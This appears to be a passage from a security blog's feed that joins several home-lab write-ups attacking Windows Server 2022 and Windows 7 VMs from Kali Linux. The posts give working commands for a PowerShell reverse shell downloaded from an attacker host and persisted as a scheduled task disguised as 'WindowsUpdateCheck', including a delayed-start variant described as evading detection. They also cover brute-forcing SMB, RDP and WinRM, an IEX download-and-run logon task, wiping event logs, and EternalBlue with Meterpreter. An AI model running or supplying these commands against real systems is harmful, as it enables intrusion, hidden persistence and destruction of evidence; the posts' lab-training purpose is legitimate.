&lt;p&gt;Verified connectivity from the Windows Server using PowerShell:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;Invoke-WebRequest -Uri &quot;http://192.168.1.39/update_check.ps1&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Response: &lt;strong&gt;StatusCode 200, StatusDescription OK&lt;/strong&gt; — script accessible for download.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/10.BkiUKYdl_sf5b2.webp&quot; alt=&quot;Invoke-WebRequest 200 OK from Windows&quot;&gt;
&lt;em&gt;200 OK confirmed — Windows Server can reach the Kali payload&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;Step 3: Set Up a Listener on Kali&lt;/h3&gt;
&lt;p&gt;Started a Netcat listener on port 4444:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;nc -lvnp 4444
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then triggered the script from the Windows Server. The reverse shell connected back immediately:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;connect to [192.168.1.39] from (UNKNOWN) [192.168.1.55] 26705
whoami     → nt authority\system
pwd        → C:\Windows\system32
hostname   → Group2
ipconfig   → 192.168.1.55
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/11.DzMaRWGm_1G3BRe.webp&quot; alt=&quot;Reverse shell caught on Netcat listener&quot;&gt;
&lt;em&gt;Reverse shell connected — running as NT AUTHORITY\SYSTEM&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;Step 4: Create a Scheduled Task on Windows Server&lt;/h3&gt;
&lt;p&gt;To make the reverse shell persistent (triggers on startup), deployed the script to the Tasks directory and registered a scheduled task:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;$action = New-ScheduledTaskAction -Execute &quot;powershell.exe&quot; `
  -Argument &quot;-ExecutionPolicy Bypass -File C:\Windows\System32\Tasks\update_check.ps1&quot;

$trigger = New-ScheduledTaskTrigger -AtStartup

Register-ScheduledTask -Action $action -Trigger $trigger `
  -TaskName &quot;WindowsUpdateCheck&quot; `
  -Description &quot;Updates system settings on startup&quot; `
  -User &quot;SYSTEM&quot; -RunLevel Highest

Invoke-WebRequest -Uri &quot;http://192.168.1.39/update_check.ps1&quot; `
  -OutFile &quot;C:\Windows\System32\Tasks\update_check.ps1&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/12.CO8jpdc4_Z1gPYIX.webp&quot; alt=&quot;Scheduled task creation - WindowsUpdateCheck Ready&quot;&gt;
&lt;em&gt;WindowsUpdateCheck task registered and in Ready state&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;Step 5: Trigger and Test&lt;/h3&gt;
&lt;p&gt;Verified the task fires correctly and the shell reconnects:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;netstat -an
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/13.S7JBjQGa_gyiMq.webp&quot; alt=&quot;netstat showing active connections&quot;&gt;
&lt;em&gt;Active connections confirming the reverse shell channel&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Post-exploitation:&lt;/strong&gt; ran &lt;code&gt;systeminfo&lt;/code&gt; through the shell to confirm full system access:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/14.CvBT1qML_186xSY.webp&quot; alt=&quot;systeminfo output via reverse shell&quot;&gt;
&lt;em&gt;systeminfo returned over the shell — Primary Domain Controller, Windows Server 2022 Standard&lt;/em&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;tasklist
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/15.CW85eobg_VUtOH.webp&quot; alt=&quot;tasklist output&quot;&gt;
&lt;em&gt;Running processes listed through the reverse shell&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;Step 6: Cleanup (Part 1)&lt;/h3&gt;
&lt;p&gt;Removed the scheduled task and the script file:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;Unregister-ScheduledTask -TaskName &quot;WindowsUpdateCheck&quot; -Confirm:$false
Remove-Item &quot;C:\Windows\System32\Tasks\update_check.ps1&quot; -Force
Get-ScheduledTask -TaskName &quot;WindowsUpdateCheck&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Task confirmed deleted — &lt;code&gt;Get-ScheduledTask&lt;/code&gt; returned no results.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/16.CFUzTHGV_VmK1F.webp&quot; alt=&quot;Cleanup - task and file removed&quot;&gt;
&lt;em&gt;WindowsUpdateCheck unregistered and script deleted&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/17.Cr93093q_x6D8T.webp&quot; alt=&quot;HTTP server stopped and listener closed&quot;&gt;
&lt;em&gt;HTTP server and Netcat listener shut down on the Kali side&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Part 2: Scheduled Task with a Delayed Start&lt;/h2&gt;
&lt;p&gt;A variation on Part 1 — same reverse shell payload, but the scheduled task starts with a &lt;strong&gt;2-minute delay&lt;/strong&gt; after the trigger fires. This simulates a more evasive persistence mechanism (delayed execution is harder to catch at boot).&lt;/p&gt;
&lt;h3&gt;Script&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;Invoke-WebRequest -Uri &quot;http://192.168.1.39/update_check.ps1&quot; `
  -OutFile &quot;C:\Windows\System32\Tasks\update_check.ps1&quot;

$action = New-ScheduledTaskAction -Execute &quot;powershell.exe&quot; `
  -Argument &quot;-ExecutionPolicy Bypass -File C:\Windows\System32\Tasks\update_check.ps1&quot;

$trigger = New-ScheduledTaskTrigger -AtStartup -Delay &quot;00:02:00&quot;

Register-ScheduledTask -Action $action -Trigger $trigger `
  -TaskName &quot;DelayedReverseShell&quot; `
  -Description &quot;Execute reverse shell with 2-minute delay&quot; `
  -User &quot;SYSTEM&quot; -RunLevel Highest

Write-Output &quot;DelayedReverseShell task has been successfully registered.&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/18.BhAANXxQ_ZrSGNJ.webp&quot; alt=&quot;Delayed reverse shell script on Kali&quot;&gt;
&lt;em&gt;Script prepared with 2-minute delayed trigger&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;Execution&lt;/h3&gt;
&lt;p&gt;Triggered the script manually to confirm it works before relying on the scheduled task:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;Invoke-Expression (New-Object Net.WebClient).DownloadString(&apos;http://192.168.1.39/update_check.ps1&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Task registered, delayed 2 minutes, then shell fired:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/19.Ip-zyz0D_Z2gC3z4.webp&quot; alt=&quot;DelayedReverseShell task Ready + execution&quot;&gt;
&lt;em&gt;DelayedReverseShell task registered — &quot;Delayed Task Registered Successfully with RandomDelay!&quot;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Netcat caught the delayed shell — &lt;code&gt;whoami&lt;/code&gt; returned &lt;code&gt;nt authority\system&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/20.MjrWEPpv_26A2hd.webp&quot; alt=&quot;Delayed reverse shell caught&quot;&gt;
&lt;em&gt;Reverse shell arrived after the 2-minute delay — NT AUTHORITY\SYSTEM confirmed&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;Cleanup (Part 2)&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;Unregister-ScheduledTask -TaskName &quot;DelayedReverseShell&quot; -Confirm:$false
Remove-Item &quot;C:\Windows\System32\Tasks\update_check.ps1&quot; -Force
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/21.BkuNex4e_ZuV4tG.webp&quot; alt=&quot;Cleanup Part 2 - DelayedReverseShell removed&quot;&gt;
&lt;em&gt;DelayedReverseShell task and script file removed&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;This lab demonstrated two PowerShell reverse shell persistence techniques against Windows Server 2022: a startup-triggered scheduled task and a delayed-start variant. Both achieved SYSTEM-level access, confirmed with &lt;code&gt;systeminfo&lt;/code&gt; and &lt;code&gt;whoami&lt;/code&gt;. The 2-minute delay in Part 2 makes detection harder at boot, since most endpoint tools focus their attention on processes that spawn immediately on startup.&lt;/p&gt;
&lt;p&gt;The key takeaway: &lt;strong&gt;scheduled tasks running as SYSTEM with outbound TCP shells are extremely effective persistence&lt;/strong&gt; — and straightforward to deploy with standard PowerShell cmdlets, no external tools required.&lt;/p&gt;</content:encoded><h:img src="/_astro/1_Uoy2HZxE0gHve9w22gkGnw.CjFy6Un5.png"/><enclosure url="/_astro/1_Uoy2HZxE0gHve9w22gkGnw.CjFy6Un5.png"/></item><item><title>Brute-Force SMB/RDP/WinRM &amp; Persistence</title><link>https://zy0ud.me/blog/home-ad-lab-part4-smb-rdp-winrm-persistence</link><guid isPermaLink="true">https://zy0ud.me/blog/home-ad-lab-part4-smb-rdp-winrm-persistence</guid><description>Third post in this lab series. Same private environment — Kali Linux against Windows Server 2022 on VMware Workstation (192.168.1.55). This lab covers a…</description><pubDate>Mon, 05 Jan 2026 07:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import { Aside } from &apos;astro-pure/user&apos;&lt;/p&gt;
&lt;h2&gt;Overview&lt;/h2&gt;
&lt;p&gt;Third post in this lab series. Same private environment — Kali Linux against Windows Server 2022 on VMware Workstation (&lt;code&gt;192.168.1.55&lt;/code&gt;). This lab covers a full attack chain: setting up a vulnerable target with weak credentials, brute-forcing SMB/RDP/WinRM, getting a PowerShell session via Evil-WinRM, establishing persistence with a scheduled task, and cleaning up after.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Step 1: Setup on Windows Server 2022&lt;/h2&gt;
&lt;h3&gt;Creating User Accounts with Weak Credentials&lt;/h3&gt;
&lt;p&gt;On the target Windows Server, I created two domain user accounts with intentionally weak passwords to simulate a realistic misconfigured environment:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;New-LocalUser -Name &quot;testuser&quot; -Password (ConvertTo-SecureString &quot;Password123!&quot; -AsPlainText -Force)
New-LocalUser -Name &quot;adminuser&quot; -Password (ConvertTo-SecureString &quot;Admin123&quot; -AsPlainText -Force)
Add-LocalGroupMember -Group &quot;Administrators&quot; -Member &quot;adminuser&quot;
Enable-PSRemoting -Force
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/7.HTVQ4cvO_1FJeXT.webp&quot; alt=&quot;Creating user accounts via PowerShell&quot;&gt;
&lt;em&gt;testuser and adminuser created on the Windows Server target&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/8.DFgDyuvm_WTiIi.webp&quot; alt=&quot;Verifying accounts via whoami and pwd&quot;&gt;
&lt;em&gt;Account verification — running as lab\group2_166222b&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;Enabling SMB, RDP, and WinRM Services&lt;/h3&gt;
&lt;p&gt;Enabled Remote Desktop via System Properties (&lt;code&gt;sysdm.cpl&lt;/code&gt; → Remote tab → &quot;Allow remote connections to this computer&quot;).&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/9.B7nBvVxQ_H3aQg.webp&quot; alt=&quot;RDP enabled via System Properties&quot;&gt;
&lt;em&gt;Remote Desktop enabled on the target&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/10.DhMBriO__Z1XqwTz.webp&quot; alt=&quot;sysdm.cpl search&quot;&gt;
&lt;em&gt;Opening System Properties via sysdm.cpl&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Step 2: Reconnaissance&lt;/h2&gt;
&lt;p&gt;Scanned the target to identify open services:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;nmap -Pn -sV -T5 192.168.1.55
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/11.CIoWvUU6_rLU7W.webp&quot; alt=&quot;Nmap service scan results&quot;&gt;
&lt;em&gt;SMB (445), RDP (3389), WinRM (5985), and multiple AD-related services confirmed open&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Step 3: SMB Brute-Force with Metasploit&lt;/h2&gt;
&lt;p&gt;First, prepared the wordlists:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;sudo mkdir -p /home/kali/wordlists
echo -e &quot;testuser\nadminuser\nuser\nguest\nadministrator\nadmin&quot; &gt; /home/kali/wordlists/usernames.txt
chmod 644 /home/kali/wordlists/usernames.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then launched the SMB login scanner in Metasploit:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;use auxiliary/scanner/smb/smb_login
set RHOSTS 192.168.1.55
set USER_FILE /home/kali/wordlists/usernames.txt
set PASS_FILE /home/kali/wordlists/passwords.txt
set THREADS 10
run
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/12.ChQJzcg5_ZSqKd4.webp&quot; alt=&quot;Metasploit smb_login setup and wordlist creation&quot;&gt;
&lt;em&gt;Configuring the SMB brute-force module&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;The scanner returned two valid credential pairs:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[+] 192.168.1.55:445 - Success: &apos;\testuser:Password123!&apos;
[+] 192.168.1.55:445 - Success: &apos;\adminuser:Admin123&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/13.D0hs-akF_XlTvn.webp&quot; alt=&quot;SMB brute-force results&quot;&gt;
&lt;em&gt;2 credentials found: adminuser:Admin123 and testuser:Password123!&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Verified access by connecting to the SMB share with &lt;code&gt;smbclient&lt;/code&gt; and listing directories:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;smbclient //192.168.1.55/Users -U adminuser
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/14.CCgoM9Od_Z2oq07C.webp&quot; alt=&quot;smbclient share listing&quot;&gt;
&lt;em&gt;Successfully listed the SMB shares using the cracked credentials&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Step 4: RDP Access&lt;/h2&gt;
&lt;p&gt;With valid credentials in hand, connected directly via RDP:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;rdesktop 192.168.1.55 -u testuser -p &apos;Password123!&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/15.B1F1dvu-_1FG9sc.webp&quot; alt=&quot;RDP session as testuser&quot;&gt;
&lt;em&gt;Full RDP session established as lab\testuser&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Step 5: WinRM Exploitation with Evil-WinRM&lt;/h2&gt;
&lt;p&gt;First scanned WinRM using Metasploit to confirm it was open:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;use auxiliary/scanner/winrm/winrm_login
set RHOSTS 192.168.1.55
set USERNAME testuser
set PASSWORD Password123!
run
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then connected directly using Evil-WinRM:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;evil-winrm -i 192.168.1.55 -u testuser -p &apos;Password123!&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/16.Bn1ciHv7_1NFENo.webp&quot; alt=&quot;WinRM Metasploit scan and Evil-WinRM session&quot;&gt;
&lt;em&gt;WinRM port open and Evil-WinRM shell connecting&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Successfully obtained a PowerShell session as &lt;code&gt;lab\testuser&lt;/code&gt; with administrative privileges:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;whoami                        # lab\testuser
net localgroup administrators # testuser is in the Administrators group
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/17.BnTWr_4i_1vTudg.webp&quot; alt=&quot;Evil-WinRM PowerShell session with admin privileges&quot;&gt;
&lt;em&gt;PowerShell session as lab\testuser — full administrative access confirmed&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Step 6: Post-Exploitation — Persistence via Scheduled Task&lt;/h2&gt;
&lt;p&gt;With administrative access, established persistence using a scheduled task named &lt;strong&gt;&quot;PersistentShell&quot;&lt;/strong&gt; — configured to execute a reverse shell script on user logon:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;rundll32.exe keymgr.dll,KRShowKeyMgr
$action = New-ScheduledTaskAction -Execute &quot;powershell.exe&quot; -Argument &quot;-c Start-Process &apos;powershell.exe&apos; -ArgumentList &apos;-c IEX(New-Object Net.WebClient).DownloadString(&apos;&apos;http://192.168.1.39/shell.ps1&apos;&apos;)&apos;&quot;
$trigger = New-ScheduledTaskTrigger -AtLogOn
Register-ScheduledTask -Action $action -Trigger $trigger -TaskName &quot;PersistentShell&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/18.CzzzujeW_1vP9V9.webp&quot; alt=&quot;Persistence - PersistentShell scheduled task created&quot;&gt;
&lt;em&gt;&quot;PersistentShell&quot; scheduled task created and in Ready state&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Step 7: Clean Up&lt;/h2&gt;
&lt;p&gt;Cleared event logs and removed the scheduled task to simulate post-attack cleanup:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;wevtutil cl System
Unregister-ScheduledTask -TaskName &quot;PersistentShell&quot; -Confirm:$false
exit
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/19.CqNDkjYe_Z1fBOAH.webp&quot; alt=&quot;Cleanup - logs cleared and task removed&quot;&gt;
&lt;em&gt;Event logs wiped and PersistentShell task unregistered&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;This lab walked through a complete attack chain against a misconfigured Windows Server: reconnaissance, credential brute-force across three protocols (SMB, RDP, WinRM), full administrative access via Evil-WinRM, persistence via a scheduled task, and post-attack cleanup.&lt;/p&gt;
&lt;p&gt;The key takeaway: &lt;strong&gt;weak credentials are the single biggest enabler here&lt;/strong&gt;. Every step after the initial scan only worked because the target had simple, guessable passwords. Strong password policies and network segmentation would have stopped this chain at Step 3.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Up next:&lt;/strong&gt; reverse shells, scheduled task persistence with a delayed start, and mitigation strategies.&lt;/p&gt;</content:encoded><h:img src="/_astro/1_Uoy2HZxE0gHve9w22gkGnw.CjFy6Un5.png"/><enclosure url="/_astro/1_Uoy2HZxE0gHve9w22gkGnw.CjFy6Un5.png"/></item><item><title>EternalBlue: SMB Exploitation &amp; Kiwi</title><link>https://zy0ud.me/blog/home-ad-lab-part2-samba-john-metasploit-kiwi</link><guid isPermaLink="true">https://zy0ud.me/blog/home-ad-lab-part2-samba-john-metasploit-kiwi</guid><description>Second post in this lab series. Same private environment as Part 1 — Kali Linux and Windows Server 2022 on VMware Workstation. This time: setting up file…</description><pubDate>Sat, 03 Jan 2026 17:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import { Aside } from &apos;astro-pure/user&apos;&lt;/p&gt;
&lt;h2&gt;Overview&lt;/h2&gt;
&lt;p&gt;Second post in this lab series. Same private environment as &lt;a href=&quot;/blog/home-ad-lab-part1-recon-wingftp-adds/&quot;&gt;Part 1&lt;/a&gt; — Kali Linux and Windows Server 2022 on VMware Workstation. This time: setting up file sharing with Samba, cracking a password hash with John the Ripper, running vulnerability scans, and — since the patched Windows Server 2022 target wasn&apos;t exploitable — standing up a Windows 7 VM specifically to demonstrate &lt;strong&gt;EternalBlue (MS17-010)&lt;/strong&gt; SMB exploitation and post-exploitation credential access with Metasploit and Kiwi.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Part 1: Samba File Sharing Between Kali and Windows Server&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Goal:&lt;/strong&gt; set up a Samba share on Kali at &lt;code&gt;/srv/samba/share&lt;/code&gt; and confirm read/write access from both Kali and Windows Server 2022.&lt;/p&gt;
&lt;h3&gt;Environment Setup&lt;/h3&gt;
&lt;p&gt;Verified connectivity between hosts before starting.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/7.D2ItwtiN_8UJLp.webp&quot; alt=&quot;Ping test from Kali&quot;&gt;
&lt;em&gt;Connectivity confirmed from Kali&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/8.GlbKkHgR_24rbiL.webp&quot; alt=&quot;Ping test from Windows&quot;&gt;
&lt;em&gt;Connectivity confirmed from Windows (PowerShell)&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;Installing and Configuring Samba on Kali&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;sudo mkdir /srv/samba/share
sudo chmod 777 /srv/samba/share
sudo cp /etc/samba/smb.conf /etc/samba/smb.conf.bak
sudo systemctl restart smbd
sudo systemctl status smbd
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/9.Du3ZJhIV_1WAOAq.webp&quot; alt=&quot;Samba install and config on Kali&quot;&gt;
&lt;em&gt;smbd active and running, share directory created&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;Mapping the Shared Folder on Windows Server&lt;/h3&gt;
&lt;p&gt;Mapped the Kali Samba share as a network drive on Windows Server (&lt;code&gt;\\192.168.1.100\&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/10.C4X6M_Jj_7FURi.webp&quot; alt=&quot;Mapped shared folder on Windows&quot;&gt;
&lt;em&gt;Shared folder mapped as a network drive — empty at this point&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;Testing File Access and Sharing&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;From Kali&lt;/strong&gt; — created a test file directly in the share:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;echo &quot;Test file from Kali Linux&quot; &gt; /srv/samba/share/testfile.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/11.DFETOS5h_ZINym6.webp&quot; alt=&quot;Writing a test file from Kali&quot;&gt;
&lt;em&gt;File written from the Kali side&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/12.ZoXtWeec_1P4n4G.webp&quot; alt=&quot;Windows explorer showing the file&quot;&gt;
&lt;em&gt;Same file visible from Windows Explorer&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;From Windows&lt;/strong&gt; — created a file from the Windows side to confirm the reverse direction:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/13.BU3kHurr_1viYVs.webp&quot; alt=&quot;Windows explorer with files from both sides&quot;&gt;
&lt;em&gt;Files from both Kali and Windows now present in the share&lt;/em&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;ls /srv/samba/share
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/14.BZdrzT2u_1dhaYQ.webp&quot; alt=&quot;Kali confirming both files via ls&quot;&gt;
&lt;em&gt;Two-way read/write access confirmed&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Part 2: Password Cracking with John the Ripper&lt;/h2&gt;
&lt;p&gt;To practice offline password cracking, I generated a hashed password and cracked it with John the Ripper against the &lt;code&gt;rockyou&lt;/code&gt; wordlist:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;echo &quot;hacker:$(openssl passwd -1 hacker123)&quot; &gt; passwd.txt
john --wordlist=/usr/share/wordlists/rockyou.txt passwd.txt
john --show passwd.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/15.BqAPSOZY_ZN21Oe.webp&quot; alt=&quot;John the Ripper cracking the hash&quot;&gt;
&lt;em&gt;Hash cracked in under a second — &lt;code&gt;hacker:hacker123&lt;/code&gt;&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Network and Vulnerability Scanning&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Advanced Nmap scan&lt;/strong&gt; against the Windows Server 2022 target:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;nmap -p- -sV --script vuln 192.168.1.39
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Came back clean — no exploitable vulnerabilities flagged (expected, since this target was already patched).&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/16.UdgA1iSn_Z2tlYQK.webp&quot; alt=&quot;Nmap advanced vulnerability scan&quot;&gt;
&lt;em&gt;No exploitable vulnerabilities found on the patched target&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Nikto web vulnerability scan:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;nikto -h 192.168.1.39
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Nikto&apos;s findings were informational/reconnaissance-level — an admin login page (&lt;code&gt;/login.html&lt;/code&gt;), and an ADFS (Active Directory Federation Services) sign-in page — useful leads for further enumeration and credential testing, but nothing directly exploitable on its own.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/17.D6DusOH7_1hcjoQ.webp&quot; alt=&quot;Nikto scan results&quot;&gt;
&lt;em&gt;Admin panel and ADFS sign-in page flagged&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Exploiting SMB Vulnerabilities with Metasploit (EternalBlue)&lt;/h2&gt;
&lt;p&gt;Since the patched Windows Server 2022 wasn&apos;t vulnerable to classic SMB exploits, I downloaded a &lt;strong&gt;Windows 7 SP1&lt;/strong&gt; VM specifically to demonstrate the technique — a well-known target for &lt;strong&gt;EternalBlue (MS17-010)&lt;/strong&gt; in training environments.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/18.JBEQn4I9_ZJ1Wes.webp&quot; alt=&quot;Windows 7 ISO source&quot;&gt;
&lt;em&gt;Windows 7 Ultimate SP1 VM used as the vulnerable target&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Configured the Samba share on the Windows 7 VM as well:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/19.QeuhpJoL_2a4wna.webp&quot; alt=&quot;Samba share configured on Windows 7&quot;&gt;
&lt;em&gt;Shared folder accessible from the Windows 7 target&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Then set up the exploit in &lt;code&gt;msfconsole&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;use exploit/windows/smb/ms17_010_eternalblue
set rhosts 192.168.1.48
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.1.100
options
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/20.D4GShaML_Z1aPxEK.webp&quot; alt=&quot;msfconsole EternalBlue module setup&quot;&gt;
&lt;em&gt;EternalBlue (MS17-010) module configured against the Windows 7 target&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Running it returned a &lt;strong&gt;Meterpreter session&lt;/strong&gt;, followed by a full shell — confirmed with &lt;code&gt;sysinfo&lt;/code&gt; (Windows 7 6.1 Build 7601, SP1, x64):&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/21.DKOIlUz4_1Lt1n9.webp&quot; alt=&quot;Meterpreter session and shell obtained&quot;&gt;
&lt;em&gt;Meterpreter session opened, &lt;code&gt;sysinfo&lt;/code&gt; and &lt;code&gt;shell&lt;/code&gt; both working&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
